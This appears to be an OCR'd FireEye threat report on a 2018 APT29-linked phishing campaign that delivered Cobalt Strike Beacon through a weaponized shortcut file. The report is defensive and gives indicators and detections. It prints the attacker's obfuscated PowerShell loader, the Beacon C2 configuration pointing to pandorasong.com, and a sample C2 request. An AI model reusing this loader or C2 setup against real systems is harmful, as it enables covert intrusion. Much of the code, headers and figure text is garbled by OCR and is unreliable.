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Introduction

e FireEye devices detected intrusion attempts against multiple industries, including think tank, law enforcement, media, U.S.
military, imagery, transportation, pharmaceutical, national government, and defense contracting.

e The attempts involved a phishing email appearing to be from the U.S. Department of State with links to zip files containing
malicious Windows shortcuts that delivered Cobalt Strike Beacon.

e Shared technical artifacts; tactics, techniques, and procedures (TTPs); and targeting connect this activity to previously observed
activity suspected to be APT29.

e APT29 is known to transition away from phishing implants within hours of initial compromise.

On November 14, 2018, FireEye detected new targeted phishing activity at more than 20 of our clients across multiple industries.

The attacker appears to have compromised the email server of a hospital and the corporate website of a consulting company in order
to use their infrastructure to send phishing emails. The phishing emails were made to look like secure communication from a Public
Affairs official at the U.S. Department of State, hosted on a page made to look like another Department of State Public Affairs official's
personal drive, and used a legitimate Department of State form as a decoy. This information could be obtained via publicly available
data, and there is no indication that the Department of State network was involved in this campaign. The attacker used unique links in
each phishing email and the links that FireEye observed were used to download a ZIP archive that contained a weaponized Windows
shortcut file, launching both a benign decoy document and a Cobalt Strike Beacon backdoor, customized by the attacker to blend in
with legitimate network traffic.

Several elements from this campaign - including the resources invested in the phishing email and network infrastructure,

the metadata from the weaponized shortcut file payload, and the specific victim individuals and organizations targeted — are directly
linked to the last observed APT29 phishing campaign from November 2016. This blog post explores those technical breadcrumbs and
the possible intentions of this activity.

Attribution Challenges

Conclusive FireEye attribution is often obtained through our Mandiant consulting team's investigation of incidents at compromised
organizations, to identify details of the attack and post-compromise activity at victims. FireEye is still analyzing this activity.

There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29
phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new campaign included
creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including
using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated actor, and while sophisticated actors
are not infallible, seemingly blatant mistakes are cause for pause when considering historical uses of deception by Russian
intelligence services. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about
the timing and the similarities of the activity after such a long interlude.

Notable similarities between this and the 2016 campaign include the Windows shortcut metadata, targeted organizations and specific
individuals, phishing email construction, and the use of compromised infrastructure. Notable differences include the use of Cobalt
Strike, rather than custom malware; however, many espionage actors do use publicly and commercially available frameworks for
reasons such as plausible deniability.

During the phishing campaign, there were indications that the site hosting the malware was selectively serving payloads. For example,
requests using incorrect HTTP headers reportedly served ZIP archives containing only the benign publicly available Department of
State form. It is possible that the threat actor served additional and different payloads depending on the link visited; however, FireEye
has only observed two: the benign and Cobalt Strike variations.

We provide details of this in the activity summary. Analysis of the campaign is ongoing, and we welcome any additional information
from the community.

Activity Summary

The threat actor crafted the phishing emails to masquerade as a U.S. Department of State Public Affairs official sharing an official
document. The links led to a ZIP archive that contained a weaponized Windows shortcut file hosted on a likely compromised
legitimate domain, jmj[.].com. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed
additional code from within the shortcut file.

Upon execution, the shortcut file dropped a benign, publicly available, U.S. Department of State form and Cobalt Strike Beacon. Cobalt
Strike is a commercially available post-exploitation framework. The BEACON payload was configured with a modified variation of the
publicly available "Pandora" Malleable C2 Profile and used a command and control (C2) domain — pandorasong[.Jcom — assessed to
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be a masquerade of the Pandora music streaming service. The customization of the C2 profile may have been intended to defeat less
resilient network detection methods dependent on the default configurations. The shortcut metadata indicates it was built on the
same or very similar system as the shortcut used in the November 2016 campaign. The decoy content is shown in Figure 1.
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Figure 1: Decoy document content

Similarities to Older Activity

This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The malicious LNK used in the recent
spearphishing campaign, ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), has technical overlaps with a suspected APT29
LNK from November 2016, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5:
f713d5df826c6051e65f995e57d6817d), which was publicly reported by Volexity. The 2018 and 2016 LNK files are similar in structure
and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created.

Additional overlap was observed in the targeting and tactics employed in the phishing campaigns responsible for distributing these
LNK file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves
of emails in previous campaigns.

Outlook and Implications

Analysis of this activity is ongoing, but if the APT29 attribution is strengthened, it would be the first activity uncovered from this
sophisticated group in at least a year. Given the widespread nature of the targeting, organizations that have previously been targeted
by APT29 should take note of this activity. For network defenders, whether or not this activity was conducted by APT29 should be
secondary to properly investigating the full scope of the intrusion, which is of critical importance if the elusive and deceptive APT29
operators indeed had access to your environment.

Technical Details

Phishing
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Emails were sent from DOSOneDriveNotifications-svCT-

Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgml.Jorg

with the subject Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you . The distribution of emails varied significantly
between the affected organizations. While most targeted FireEye customers received three or fewer emails, some received
significantly more, with one customer receiving 136.

Each phishing email contained a unique malicious URL, likely for tracking victim clicks. The pattern of this URL is shown in Figure 2.

_ht tps: j./www_ j_.'n_f_.com/pe:scna;/naue:th:‘._state_gov /.TUJ_‘{,?QJ; 16 character alphanumeric — 20 character alphanumeric Q
Likely compromised nigue URL k to mali payload
nfrastructure

Figure 2: Malicious URL structure

Outside of the length of the sender email address, which may have been truncated on some recipient email clients, the attacker made
little effort to hide the true source of the emails, including that they were not actually sent from the Department of State. Figure 3
provides a redacted snapshot of email headers from the phishing message.

From: DOSOneDriveNotifications

<D0SOneDriveNotifications-svCT-
Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm.org>
To: "REDACTED" <REDACTED>

Subject: Stevenson, Susan N shared "TP18-DS7802 (UNCLASSIFIED)" with you.
Thread-Topic: Stevenson, Susan N shared "TP18-DS7@02 (UNCLASSIFIED)" with you.
Thread-Index: AQHUfCSc/7um76NhAkSH+LuPs+eRyg==

Date: Wed, 14 Nov 2018 14:16:17 +@@€@0

Message-ID: <be8cb2Bcc2d94191ba7e@f255f fedcB2@ccnsmaill.cens.int>
Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

x-ms—exchange-transport-fromentityheader: Hosted

x=originating-ip: [38.95.111,206]

Content-Type: multipart/related;

boundary="_006_be8cb28cc2d94191ba7e@f255f fedcB82ccnsmaillcecnsint_";
type="multipart/alternative”

X-VPM-MSG-ID: 95b1385c-b6b7-41c@-a325-78a3da@74b3f

X-VPM-HOST: svcZixOutl.era.citon.com

X-VPM-GROUP-ID: aBc9574c-90@ee-42a6-89%9ae-T7eB3e474c27b

X-VPM-ENC-REGIME: Plaintext

X-VPM-IS-HYBRID: @

Return-Path: dosonedrivenotifications-swvct-
mailboxe36625aaaB5747214aa50342836a2315aa236928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm.org
MIME-Version: 1.0

Figure 3: Redacted email headers

The malicious links are known to have served two variants of the file ds7002.zip. The first variant (MD5:
3fccf531ff0ae6fedd7c586774b17a2d), contained ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c). ds7002.Ink was a
malicious shortcut (LNK) file that contained an embedded BEACON DLL and decoy PDF, and was crafted to launch a PowerShell
command. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. The
other observed variant of ds7002.zip (MD5: 658c6fe38f95995fa8dc8f6cfe41df7b) contained only the benign decoy document. The
decoy document ds7002.pdf (MD5: 313f4808aa2a2073005d219bc68971cd) appears to have been downloaded from
hxxps://eforms.state.gov/Forms/ds7002.PDF.

The BEACON backdoor communicated with the C2 domain pandorasong[.Jcom (95.216.59[.]92). The domain leveraged privacy
protection, but had a start of authority (SOA) record containing vleger@tutanota.com.

Our analysis indicates that the attacker started configuring infrastructure approximately 30 days prior to the attack. This is a
significantly longer delay than many other attackers we track. Table 1 contains a timeline of this activity.

Time Event Source

2018-10-15 15:35:19Z | pandorasong|[.Jcom registered Registrant Information
2018-10-15 17:39:00Z | pandorasong[.Jcom SSL certificate established | Certificate Transparency
2018-10-15 18:52:06Z | Cobalt Strike server established Scan Data

2018-11-02 10:25:58Z | LNK Weaponized LNK Metadata

2018-11-13 17:58:41Z | 3fccf531ff0aeb6fedd7c586774b17a2d modified | Archive Metadata
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‘ 2018-11-14 01:48:34Z ‘ 658c6fe38f95995fa8dc8f6cfe41df7b modified ‘ Archive Metadata ‘

‘ 2018-11-14 08:23:10Z ‘ First observed phishing e-mail sent ‘ Telemetry ‘

Table 1: Operational timeline

Execution

Upon execution of the malicious LNK, ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), the following PowerShell command
was executed:

\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
$zk="JHB0Z3Q9IMHgWMDA1ZTJiZTskdmNxPTB4MDAwN;jIzYjY7JHRiPSJkczcwMDIlubG5';$fz="FromBase'+0x40+'String';Srhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex Srhia;

This command included some specific obfuscation, which may indicate attempts to bypass specific detection logic. For example, the
use of 'FromBase'+0x40+'String’, in place of FromBase64String, the PowerShell command used to decode base64.

The decoded command consisted of additional PowerShell that read the content of ds7002.Ink from offset 0x5e2be to offset
0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content. The embedded PowerShell code
decoded to the following:

Sptgt=0x0005e2be;
Svcq=0x000623b6;
Stb="ds7002.Ink";
if (-not(Test-Path $tb))
{
Soe=Get-Childltem -Path SEnv:temp -Filter Stb -Recurse;
if (-not Soe)
{

exit
}
[10.Directory]::SetCurrentDirectory(Soe.DirectoryName);
}
Svzvi=New-Object 10.FileStream S$tb,'Open’,Read','ReadWrite';
Soe=New-Object byte[](Svcg-Sptgt);
Sr=8vzvi.Seek($ptgt,[10.SeekOrigin]::Begin);
Sr=$vzvi.Read(Soe,0,Svcg-Sptgt);
Soe=[Convert]::FromBase64CharArray(Soe,0,S0e.Length);
$zk=[Text.Encoding]::ASCII.GetString(Soe);
iex $zk;

When the decoded PowerShell is compared to the older 2016 PowerShell embedded loader (Figure 4), it's clear that similarities still
exist. However, the new activity leverages randomized variable and function names, as well as obfuscating strings contained in the
script.
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Figure 4: Shared functions to loader in older activity (XOR decode function and CopyFilePart)

The PowerShell loader code is obfuscated, but a short de-obfuscated snippet is shown as follows. The decoy PDF and BEACON loader
DLL are read from specific offsets within the LNK, decoded, and their contents executed. The BEACON loader DLL is executed with the

export function "PointFunctionCall":

[TRUNCATED]

$jzffhy = [10.FileAccess]::READ

Sgibisec = myayxvj $("ds7002.Ink")

Soufgke = 0x48bd8

Swabxu = 0x5e2be - Soufgke

SIblij = bygtqi Sgibisec Soufgke Swabxu $S("%TEMP%\ds7002.PDF") Invoke-ltem
S((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
Soufgke = 0x0dd8

Swabxu = 0x48bd8 - Soufgke

Syhcgpw = bygtqi Sgibisec Soufgke Swabxu $("%LOCALAPPDATA%\cyzfc.dat") if
(SENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rundll32.exe")) $(",")
$("PointFunctionCall") }

Files Dropped

Upon successful execution of the LNK file, it dropped the following files to the victim's system:

o %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
BEACON loader DLL

o %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)
Decoy document

The dropped BEACON loader DLL was executed by RunDII32.exe using the export function "PointFunctionCall":

"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall

The BEACON payload included the following configuration:

authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: pandorasong.com
http_headers_c2_request:
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong[.Jcom
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7,
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
%windir%\\syswow64\\rundll32.exe
%windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
conntype: SSL
host: pandorasong[.Jcom
port: 443
c2_urls:
pandorasong[.Jcom/radio/xmirpc/v45
pandorasong[.Jcom/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW®64; Trident/7.0; rv:11.0) like Gecko

Network Communications

After successful installation/initialization of the malware, it made the following callback to the C2 server pandorasong[.Jcom via
TCP/443 SSL. The sample was configured to use a malleable C2 profile for its network communications . The specific profile used
appears to be a modified version of the publicly available Pandora C2 profile. The profile may have been changed to bypass common

detections for the publicly available malleable profiles. The following is a sample GET request:
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GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldibhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko

HTTP/1.1
Accept: */*

GetContentFeatures.DLNA.ORG: 1

Host: pandorasong.

com

Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like

Gecko

Connection: Keep-Alive
Cache-Control: no-cache

Similarities to Older Activity

Figure 5 and Figure 6 show the overlapping characteristics between the LNK used in the recent spear phish emails, ds7002.Ink (MD5:
6ed0020b0851fb71d5b0076f4ee95f3c), compared to a suspected APT29 LNK from the November 2016 attack that led to the
SPIKERUSH backdoor, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5:
f713d5df826c6051e65f995e57d6817d).

Last accessed:

Last modified:
Folder attributes:

47 File size:

48 Last modified:
43 File attributes:
50 B.3 filename:

51 Date created:

Long directory name: WindowsFowerShell

Short directory name: v1.0

Date created: 07/14/2009 (04:52:32.0) [UTC]
44 Last accessed: 02/16/2016 (18 4.0} [UTC)
45 Long directory name: wi.0
46

- L
07/14/2009 (04:52:32.0) ([UIC)

02/16/2016 (18:50:44.0) [UTC)
0x00000010 (FILE_ATTRIBUTE_DIRECTORY)

452608 bBytes
07/14/2009 (01:14:26.0) ([UIC)
0x00000020 (FILE_ATTRIBUTE_ARCHIVE)
powerahell.exe
07/13/2009 (23:
07/13/2008 (2313
powerahell.exe

65 Azguments (UNICCDE)
Szi=* JHBOZS

54
85 [Link Info)
56 Location flags: 0x00000001 (VolumeIDAndLocalBasePath)
57 Drive type: 3 (DRIVE_FIXED)
55@Drive serial nusber: c4b2-bdle
53 Volume label (ASCII):
€0 Local path (ASCII):
C: \Windows\ Wi 1\wl. 0Ap 1l.exe
61
£2 [String Data]
63 Comment (UNICODE): da7002.pat

64 Relative path (UNICODE):
abe e N Ve oV WA Rdows) Systend 2\ Windows Power Shelllwl. 0\ powershell . exe
: -aenRi -ep bypess

vdChUZXNOLVBRdGgQUHRAKS1TIGS1FUd1dAC1 DaGlaZEL10 ZKOQLVBRAGYQIEVUdIpOZWIWIC1GaWx0 ZXI
GUHRAICISINN1cnN1O2 1mICgtbm0 ICRVZISkge2V4aXRIWOLPLERDenV 1 dG9yeVOECIN14ENI1cnJlbnR
EaXJ1¥3RvenkoJG9 1 LRpon 4G9 yeUShENTpO2 0kdnp2 aT 102X et T2 IQINNO IELFLEZ pLGVTAHIL YN0
GUHRLILCAPcGVuJywnlnVhZCoaJ 11 YWRXecml 0Z5c7JG91 PUSL1AY1 PYmplY3QgYnl0ZVe dRCR2ZYIEC JHE

1ZTJ4IT BAMDAWN) IzY Y TIJHRIPSIRCcZowHDIvbGS rIJtpIaAolus

0Z30pOyR 1N1ZWsoJHBOZ3QsWO1 PLIN1 ZWe PemlnaW5d0] pCZWdpbi k7 JHI 9JHZ Gdmicu UnlV
hZCgkb2 UsMCwidmMxL SRwAGAOXT skb2USKONvbnZ lonRdOIpGemdtQuFz 2 TYOQ2 hhckF ycmF SKCRvZ Sw

WL

kema7® :§fz='FromBase "+0x40+'String’; frhia=[Texc.Encoding] : : ASCIL.GecScring ( [Conv
ert]1:1$fz. Invoke (§2k) ) siex Srhias =l

1 e BelvIGluZl 060KFTQOLJLkdldFNOcmluZygkbIUROZ11eCh

Figure 5: LNK characteristics: new activity (left) and old activity (right)

Izen lecarien (UNICODE):

[Izon Location]
Izon location (ASCII):
Izen location (UNICODE):

[Xnown Folder Location]
Enown folder GUID:

First child segment offset: 213 bytes

[Metadacs Proparcy Stors]

Property sst GUID:
ID: 4
Value:

5-1-5-21-1764276529-1526541535-4264456457-1000
[Special Folder Locatica)

Special folder identiffier: 37 (Syacem)
Firasc child segmenc offsec: 213 bytes

[Distributed Link Tracker Properties]

Version: [}

HetBIOS name: waer-pc

Droid volume identifier: c59b0b22-T7202-4410-b323-854345c1475b
Droid file idencifier: bE0ESLEE-Bbeb-11e6-bIdD-0B002T9224e5
Birth droid volume idencifier: c50b0b22-7202-4410-b323-89434%c1d75b
Bircth droid file idencifier: bEDEIL66-Ebef-11aE6-b3d3-0800279224e5

MAC address:
UUID timescamp:
UUID sequence number:

Unknown data at end of file.

C:\windows\syscem3i2iahell32.d11

ASystemRooth\ayscem3Zi\shell3Z.dll
dSystemRooth\aystemdZi\shelldl.dll

1ac14€77-02&7-4654-b744-26b1a25108bT = Systém

46588a82-4cbo-433E-bbio-139326906dce

0x001f (VI_LPWSTR)

OE:00:27:92:24:e5
3:04.500) [UTC)

Figure 6: LNK characteristics: new activity (left) and old activity (right)

z '
Date created: 07/14/2009 (04:52:32.0) ([UTIC)

last accessed: 07/14/2009 (04:52:32.0) (UTIC)
Long directory name! WindowsPowerShell
Last modified: 02/16/2016 (18:50:44.0) (UTC)
Folder attributes: 0x00000010 (FILE_ATTRIBUTE_DIRECTORY)
Shore directory name: v1.0
Date created: 07/14/2009 (04:52:32.0) (UTC)
Last accessed: 02/16/2016 (18:80:44.0) (UTC)
Long directory name: v1.0
File size: 452608 bytes
Last modified: 07/14/2009 (01:14:26.0) ([UTIC)
File actributes: Ox00000020 (FILE_ATTRIBUTE_ARCHIVE)
8.3 filename: powershell.exe
Date created: 07/13/2009 (23:32:38.0) (UTC)
Last accessed: 07/13/2009 (23:32:38.0) [UTC)
Long filenams: powershell.exe
[Link Info)
Location flags: 0x00000001  (VolumeIDAndLocalBaseFach)
Drive cype: 3 (DRIVE_FIXED)
@Drive serial number: £4b2-bdlc

Volume label (ASCII):
Local path (ASCIT):
€i\Wind h \Rindaws P Shellivl. 11l.&xe

[String Data]

Relacive path (UNICODE):

AT YT TRA P A PIY \Systemd2\Windo Shell\wl.0\powershell.exe
Azguments (UNICODE): -noni -ep bypasa -win hidden $a =
[Text.Encoding] : :ASCII.GetString([Convert): :FromBase645tring (" JGIZPTBAMDAWONIKZ
GE7JGS1PTB4NDAWYTE SMTY7JGY9 1 IMINDg2LXRoZS1 28G9 a2 1uZ y10cnVoaCInYme1dC11bGVI dG1y
bilyaWdnaWSnlN1ulNFeZXIpY2Eucnhmlmeuay T TaNYgKC 1ubIQoVEV2dC1 QYRR ICRRNS1 T THg PR
HINg TGV ICLRYRROICR CCATRML3dGVYICRRICISINNLenN101 cITySEaXT1YS
Rvenld03pTZXRDIXT YIRS ORGLYZWNObIJSKCRALERpEnV dGIyeUShbWURO30 kaWZ kI DOGTRVILUI LA
mV 3dCBITy5GaRx1UIRy ZWFt ICRRLCAPCGVuTywnlmVh ZCea T 171 YRR cnl 0 25¢ T JHgQPSBOIX et T20g
ZWNOTGISAGVEX Sgih? U J692KT s kaWZ kL1N1 IR0 T692 L F eI Ty ST IRV T3Jp22 1uXTobQuina4 poyR.
I CWWLCR OyRAFVE Db 52 ZXI0NTo6RAIVEUThc 2 UZNENC YK TBeniheSgkel
wWLCR4Lkx1bmaA0aCkT THMSW1R1eHOuRR5 3 b 3 pBUCHT THEPOZ11leChke
zo='})siex £s5;

Iean lecacien (UNICODE) : C:\Windows\Syscem3Z\shell32.d11

[Icon Locatien)
Icon location (ASCII): ASystemRocth\System32\shell32.d1l
Icon locaticn (UNICODE): ASystemRooth\System32\shelld2. dll

[Known Folder Location]
Kaown folder GUID: 18c14&77-02e7-4e5d-b744-2&b1aes198b7T = System
First child segment offset: 213 bytes

[Metadata Propsrcty Scare]

Property set GUID: 46588a82-4cbo-4338-bbC-139326986dce
1D: 4
Value: Ox001f (VI_LFWSTR)

5-1-5-21-1764276525-1526541935-4264456457-1000
[Special Folder Lacazion)

Special folder idemtifier: 7 {System)
First child segment offsec: 213 bytes

[Distributed Link Tracker Properties)

Version: o

HetBIOS name: user-pec

Droid volume identifier: c59b0b22-7202-4410-b323-894349c1475b
Droid file identifier: bE06IL66-Bbed-1126-b3d0-0B002702245
Birth droid volume idencifier: c53b0b22-7202-4410-b323-89434%c1d75b
Birth droid file idemcifier: bfO69L66—-8bes-11e6-b3d9-0800279224e5
MAC address: 08:00:27:92:24:e5

UUID cimescamp: [UTC)

UUID sequence number: 13272

Unknown data at end of file.



In addition to similar LNK characteristics, the PowerShell command is very similar to the code from the older sample that executed the

SPIKERUSH backdoor. Some of the same variable names are retained in this new version, as seen in Figure 7 and Figure 8.

Sptgt="x0005e2be;
Swog=_x000623b6
§thm" i 1nk";
if (=not(Test-Fath §tb))
B1
Soe=Cec-ChildItem -Pach §Env:temp -Filter §tb -Recurse:
if (-not Soa)
{
ERiE
1
[I0.Directoxy] : :SecCurrentDirectory(§oe. DirectoryName) ;
=}

S§vzvi=liew-Cbject I0.FileScream $tb,'Open’', 'R

§oe=Hew-Cbject byte[] (fvog-§ptat):
§r=5vzvi.Seek($ptgt, [I0.SeekOrigin]: :Begin) »
§r=5vzvi.Read($oe,.0,Sveg-Sptgt) ;

§oe=[Convert] : : FromBase&4Charirray (§oe, 0, Soe.Length) ;
§zk=[Text .Encoding] : : ASCII.GetString (foe) ;

iex $zk;

Bt

Sos=0x0005£dda;
§oe=0x000a1916;
§f="37486-che-shocking-truck
if (-not(Test-Fath $f))

§x = Ger-ChildIcem -Path $Env:cemp -Filter $f -Recurse:;
[IO.Directory] ! :SetCurrentDirectory (§x.Directoryiame) :

Ly

$1fd = New et ID.FileScream §f,'Open'

Sx = Hew-0i bycel[] (Soe-§os) ;

5ifd.Seek(§os, [10.5eekOrigin] : :Begin) ;
$ifd.Read($x, , Soe-5o0s) ;
Sx=[Convert]::FromBasef4Charhrray (§x,0,$x.Langeh) ;
§s=[Text.Encoding] : :ASCII.GetString (§x) ;

iex §s:

Figure 7: Embedded PowerShell: new activity (left) and old activity (right)

=y e e = = e * = ===

118 Syhegpw = bygtgl Sgibisec Soufgke Swabxu
SUUINlgvwe B(((-56 + 200),249,(76 + 174

) {46 + 200) (=8 + 252) (53 + 56 + 10
(

¥ o076 + 91 + 77),(80 + 149),229,241,(9
+ 95 + 51).¢( + 212),(- + 343),(50 +
bol-44 + Yy 062 + 152),(-96 - 53 +
53) ,207,(=31 + 242) (=58 + 272),{-41 +
4 4 112),(62 + 147),(=50 + Oxdb + 18

Y.(=12 + O¥21 + 172))) 18B1))
116  [Hif (SENV:PROCESSOR_ARCHITECTURE -eq $((

ednitf = xixg.ExpandEnvironment3crings(
njwbxintArray( (-3351 + 3433) ,(-5244 + 5298),
39, (6971 - 6932), (-196 + 247), 54, (-5926 +
5961), {3047 + 3101), (3980 - 3898), 43, (
4367 - 4313), 19, (-5252 + 5276), (-5658 +
5679), {(-4431 + 4449), 43, (8321 - 8267}, (
9313 - 9251), 37, 43, 17, (-1164 + 1168), (-
167 + 173), (5940 - 5940), (8381 - 8378}, (-
9749 + 9763), (9691 - 9675), (-4174 + 4263),
19, (1977 - 1955), 3)., 119))

Figure 8: Shared string obfuscation logic: new LNK activity (left) and old VERNALDROP activity (right)

Indicators

Indicator

dosonedrivenotifications-svct-

9282022a46271691a8255aaa15382822aa25821925a
0245@northshorehealthgm[.]Jorg

you

pandorasongl[.Jcom

95.216.59[.]92
2b13b244aafelecace6leal119a1b2ee
3fccf531ff0aebfedd7c586774b17a2d
658c6fe38f95995fa8dc8f6cfed1df7b
6ed0020b0851fb71d5b0076f4ee95f3c
313f4808aa2a2073005d219bc68971cd
16bbc967a8b6a365871a05c74a4f345b
%APPDATA%\Local\cyzfc.dat

%TEMP%\ds7002.PDF

mailboxe36625aaa85747214aa50342836a2315aaa36

https://www.jmj[.Jcom/personal/nauerthn_state_gov/*

Description

Phishing email address from likely compromised
legitimate server

Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with Phishing email subject

Malware hosting location on likely compromised
legitimate domain

BEACON C2

Resolution of pandorasong[.Jcom

SSL certificate for pandorasong[.Jcom
Malicious ZIP archive MD5

Benign ZIP archive MD5

Malicious LNK file MD5

Benign decoy PDF MD5

BEACON DLL MD5

BEACON DLL file path

Benign decoy PDF file path
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Table 2: Indicators

Related Samples

37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5: f713d5df826c6051e65f995e57d6817d)

FireEye Detection

FireEye detected this activity across our platform. Table 3 contains the specific detection names that applied to this activity.

Product

Network Security

Endpoint Security

Threat Analytics Platform

Detection names

Malware.Archive
Malware.Binary.Ink
Suspicious.Backdoor.Beacon

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
Generic.mg.16bbc967a8b6a365

WINDOWS METHODOLOGY [PowerShell Base64 String]
WINDOWS METHODOLOGY [Rundll32 Roaming]

WINDOWS METHODOLOGY [PowerShell Script Block Warning]
WINDOWS METHODOLOGY [Base64 Char Args]

TADPOLE DOWNLOADER [Rundll Args]

INTEL HIT - IP [Structured Threat Reputation-Based]

INTEL HIT - FQDN [Structured Threat Reputation-Based] [DNS]
INTEL HIT - FQDN [Structured Threat Reputation-Based] [Non-DNS]
INTEL HIT - FILE HASH [Structured Threat Reputation-Based)]

Table 3: FireEye product detections
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https://www.fireeye.com/blog/products-and-services/2018/07/malwareguard-fireeye-machine-learning-model-to-detect-and-prevent-malware.html
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